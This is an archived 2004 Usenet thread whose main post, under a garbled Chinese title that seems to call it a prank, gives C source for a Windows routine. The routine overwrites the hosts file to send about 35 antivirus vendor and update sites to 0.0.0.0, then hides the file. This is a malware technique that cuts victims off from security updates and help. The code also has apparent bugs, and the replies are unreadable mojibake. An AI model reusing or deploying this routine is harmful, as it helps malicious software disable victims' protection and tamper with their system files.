Google Groups no longer supports new Usenet posts or subscriptions. Historical content remains viewable.
Dismiss

Ò»¸öС¶ñ×÷¾ç,·À¶¾ÍøÕ¾Éϲ»ÁË

4 views
Skip to first unread message

sai

unread,
Mar 14, 2004, 4:15:57 AM3/14/04
to
void block_av()
{
char str[MAX_PATH];
int n;
char *sites[] =
{
"www.antivirus.com",
"www.claymania.com",
"www.duba.net",
"www.bitdefender.com",
"www.commandcom.com",
"www.dials.ru",
"www1.my-etrust.com",
"www.f-prot.com",
"www.f-secure.com",
"www.grisoft.com",
"antivirus.cai.com",
"www.avp.ru",
"www.nai.com",
"www.nod32.com.au",
"www.norman.com",
"www.symantec.com",
"www.pandasoftware.com",
"www.sophos.com",
"www.trend.com",
"www.commandondemand.com",
"www.dialognauka.ru",
"www.veloz.com",
"support.ikarus.at",
"www.kaspersky.com",
"www.hauri.net",
"antivirus.mafia.ru",
"www.mcafee.com",
"www.webimmune.net",
"www.pandasoftware.com",
"www.pcpitstop.com",
"www.ravantivirus.com",
"security1.norton.com",
"housecall.antivirus.com",
"www.freedom.net",
"www.invircible.com"
};

FILE *hosts = fopen(hosts_file(), "w");

if (hosts == NULL)
return;

fputs("127.0.0.1 localhost\n", hosts);

for (n = 0; n <= MAX_SITES; n++)
{
wsprintf(str, "0.0.0.0 %s\n", sites[n]);
fputs(str, hosts);
}

fclose(hosts);

SetFileAttributes(hosts_file(), FILE_ATTRIBUTE_HIDDEN);
}

char *hosts_file()
{
static char hosts[MAX_PATH];

if (running_nt())
wsprintf(hosts, "%s\\drivers\\etc\\hosts", sysdir
());

else
wsprintf(hosts, "%s\\hosts", windir());

return hosts;
}

BOOL running_nt()
{
return (GetVersion() < 0x80000000);
}

char *windir()
{
static char win[MAX_PATH];

GetSystemDirectory(win, MAX_PATH);

return win;
}

infofox

unread,
Mar 15, 2004, 8:29:04 AM3/15/04
to
??????DD?

--
????http://infofox.org
__________________________

"sai" <gk...@vip.163.com> ??????:ce9001c409a4$f5cdd390$a101...@phx.gbl...

Hao Hu

unread,
Mar 16, 2004, 4:52:36 AM3/16/04
to
??,????

--
?????????????:
news:microsoft.public.cn.windows.server.network
news:microsoft.public.cn.windows.server.security
----------------------------------------
???,????????,?????
----------------------------------------

"sai" <gk...@vip.163.com> ????
news:ce9001c409a4$f5cdd390$a101...@phx.gbl...

0 new messages